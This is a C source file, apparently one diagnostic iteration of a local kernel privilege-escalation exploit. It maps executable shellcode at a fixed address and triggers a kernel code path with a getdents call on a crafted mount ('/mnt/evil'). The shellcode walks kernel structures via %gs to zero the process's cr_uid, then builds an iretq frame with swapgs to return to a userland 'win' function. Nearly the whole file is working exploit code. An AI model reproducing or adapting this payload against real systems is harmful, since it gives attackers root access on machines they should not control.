DF-0873 / diag_iretq.c
/* diag #5: iretq on KERNEL stack, KERNEL gs (no swapgs). If iretq #GP, we see * a real panic (kernel stack/gs valid) instead of triple-fault. This isolates * whether the iretq frame selectors are valid. */ #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdint.h> #define SHELLCODE_ADDR 0x0000000001337000ULL #define USER_CS 0x2b #define USER_SS 0x23 #define USER_RFLAGS 0x202ULL __attribute__((noinline, aligned(4096))) static void win(void) { /* CPL3 after iretq (gs wrong but let's see) */ int mfd = open("/home/maxx/DF0873_WINREACHED", 0x601/*O_CREAT|O_TRUNC|O_WRONLY*/, 0644); if (mfd >= 0) { const char *s="reached\n"; write(mfd,s,8); close(mfd); } _exit(0); } __attribute__((noinline, aligned(4096))) static void shellcode(void) { __asm__ volatile( "movq %%gs:0x0, %%rax\n\t" "movq 0x08(%%rax), %%rax\n\t" "movq 0xa8(%%rax), %%rdi\n\t" "movq 0x10(%%rdi), %%rsi\n\t" "movl $0, 0x40(%%rsi)\n\t" /* cr_uid=0 */ "cli\n\t" /* build frame on CURRENT kernel stack, no swapgs yet */ "subq $48, %%rsp\n\t" "movq %[ss], 32(%%rsp)\n\t" "movq %[ust], 24(%%rsp)\n\t" "movq %[rfl], 16(%%rsp)\n\t" "movq %[cs], 8(%%rsp)\n\t" "movq %q[win], (%%rsp)\n\t" "swapgs\n\t" /* swap to user gs just before iretq */ "iretq\n\t" : : [ust] "i" (0x0000000001408000ULL), [ss] "i" ((uint64_t)USER_SS), [rfl] "i" (USER_RFLAGS), [cs] "i" ((uint64_t)USER_CS), [win] "i" ((uint64_t)&win) : "rax","rdi","rsi"); } __attribute__((noinline, aligned(4096))) static void shellcode_end(void) { } #define SYS_getdents 480 int main(int argc, char **argv) { const char *mp = (argc > 1) ? argv[1] : "/mnt/evil"; mmap((void *)0x1400000, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0); size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode); void *p = mmap((void *)SHELLCODE_ADDR, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0); if (p == MAP_FAILED) { perror("mmap sc"); return 2; } memcpy(p, (void *)shellcode, sc_len); fprintf(stderr, "[diag5] iretq-on-kernelstk; win=%p\n", (void*)&win); int fd = open(mp, O_RDONLY|O_DIRECTORY); if (fd < 0) { perror("open"); return 2; } char buf[64]; syscall(SYS_getdents, fd, buf, sizeof(buf)); fprintf(stderr, "[diag5] returned\n"); return 0; } |